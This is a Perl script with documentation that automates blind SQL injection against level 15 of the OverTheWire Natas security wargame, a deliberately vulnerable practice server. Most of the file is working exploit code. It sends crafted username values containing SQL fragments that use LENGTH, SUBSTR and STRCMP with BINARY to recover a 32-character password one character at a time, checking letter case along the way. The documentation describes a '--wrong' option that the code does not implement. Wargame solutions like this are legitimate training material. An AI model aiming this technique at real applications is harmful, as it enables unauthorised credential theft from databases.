#!/usr/bin/env perl
use strict;
use warnings;
use v5.16.3;
package
    natas15;
our $VERSION = '0.001'; # VERSION
# ABSTRACT: solve level 15 of overthewire.org's Natas server-side security war games

use Carp qw/ confess /;
use URI;
use HTTP::Tiny 0.034;


use Getopt::Long;
my $opts = { version => 0 };
GetOptions( $opts, 'version' );
if ($opts->{version}) {
    say __PACKAGE__ . ' version ' . (__PACKAGE__->VERSION // 'dev');
    exit;
}


my $host = 'natas15.natas.labs.overthewire.org';
my $uri  = URI->new(sprintf q{http://%s:%s@%s/index.php}, 'natas15', $ARGV[0], $host);
my $u = HTTP::Tiny->new(
    timeout => 5,
    default_headers => { Host => $host },
);

my $password_so_far = '';
local $SIG{INT} = sub { print "\rPassword so far is: $password_so_far\n"; exit; };

sub response_to_boolean {
    my $r = shift;

    if (!$r->{success}) {
        use Data::Dumper;
        confess Dumper {
            response => $r,
            password_so_far => $password_so_far,
        };
    }
    elsif ($r->{content} =~ m/\QThis user exists/) {
        return 1;
    }
    elsif ($r->{content} =~ m/\QThis user doesn't exist/) {
        return;
    }
    else {
        use Data::Dumper;
        confess Dumper {
            response => $r,
            password_so_far => $password_so_far,
        };
    }
}
sub guess_length {
    my $sql_fragment = q{natas16" and length(password) = %d #};

    LENGTH:
    foreach my $i (0..33) {
        print "\rGuessing length: $i";
        $uri->query_form({
            debug => 1,
            username => sprintf($sql_fragment, $i)
        });
        if ( response_to_boolean( $u->get($uri) ) ) {
            return $i;
        }
        else {
            next LENGTH;
        }
    }
    confess "Couldn't determine length";
}

sub guess_next_char {
    my $pos = shift;
    my %sql = (
        cmp => <<'SQL_FRAGMENT',
natas16" and STRCMP(
    SUBSTR(password, %d, 1),
    '%s') = 0 #
SQL_FRAGMENT
        cmp_bin => <<'SQL_FRAGMENT',
natas16" and STRCMP(
    BINARY(SUBSTR(password, %d, 1)),
    BINARY('%s')) = 0 #
SQL_FRAGMENT
    );
    chomp for values %sql;

    NUM:
    foreach my $num (0..9) {
        print "\rGuessing: ${password_so_far}${num}";
        $uri->query_form({
            debug => 1,
            username => sprintf($sql{cmp}, $pos, "$num"),
        });
        return $num if response_to_boolean($u->get($uri));
    }

    CHAR:
    foreach my $char ('a'..'z') {
        print "\rGuessing: ${password_so_far}${char}";
        $uri->query_form({
            debug => 1,
            username => sprintf($sql{cmp}, $pos, $char)
        });

        if (response_to_boolean($u->get($uri))) { # verify case
            $uri->query_form({
                debug => 1,
                username => sprintf($sql{cmp_bin}, $pos, uc $char),
            });
            return response_to_boolean($u->get($uri)) ? uc $char : $char;
        }
    }
    confess "Couldn't guess the next char; password so far is '$password_so_far'";
}

STDOUT->autoflush(1);
my $length = guess_length();
say "\rPassword length is $length";
foreach my $pos (1 .. $length) {
    $password_so_far .= guess_next_char( $pos );
}

say "\rPassword is '$password_so_far'; double-checking correctness...";

my $sql_fragment = q/natas16" and STRCMP(BINARY(password), BINARY('%s')) = 0 #/;
$uri->query_form({
    debug => 1,
    username => sprintf($sql_fragment, $password_so_far)
});
say response_to_boolean( $u->get($uri) )
    ? 'Looks correct'
    : 'Looks incorrect, actually';

__END__

=pod

=encoding utf-8

=head1 NAME

natas15 - solve level 15 of overthewire.org's Natas server-side security war games

=head1 VERSION

version 0.001

=head1 SYNOPSIS

    natas15 password

=head1 DESCRIPTION

L<overthewire.org|http://www.overthewire.org/wargames/> has a series of war games.
Natas is the server-side security challenge.

Level 15 requires you to do blind SQL injection. Guessing each one-character
slice of a 32-character password is tedious and prone to errors if done manually,
so this script automates the process. Simply provide the password for level 15
as the first argument on the command line

=head1 OPTIONS

=over 4

=item * C<--wrong>, --no-wrong

Use the wrong SQL to find the incorrect password.

This is useful as a teaching tool, to illustrate the effect of
neglecting case-sensitivity in your injected SQL.

=back

=head1 NAME

natas15 - solve level 15 of overthewire.org's Natas war games

=head1 SEE ALSO

=over 4

=item * L<natas16>

=item * L<App::Natas>

=back

=head1 AVAILABILITY

The latest version of this module is available from the Comprehensive Perl
Archive Network (CPAN). Visit L<http://www.perl.com/CPAN/> to find a CPAN
site near you, or see L<https://metacpan.org/module/App::Natas/>.

=head1 SOURCE

The development version is on github at L<http://github.com/doherty/natas-walkthrough>
and may be cloned from L<git://github.com/doherty/natas-walkthrough.git>

=head1 BUGS AND LIMITATIONS

You can make new bug reports, and view existing ones, through the
web interface at L<https://github.com/doherty/natas-walkthrough/issues>.

=head1 AUTHOR

Mike Doherty <doherty@cpan.org>

=head1 COPYRIGHT AND LICENSE

This software is copyright (c) 2013 by Mike Doherty.

This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.

=cut
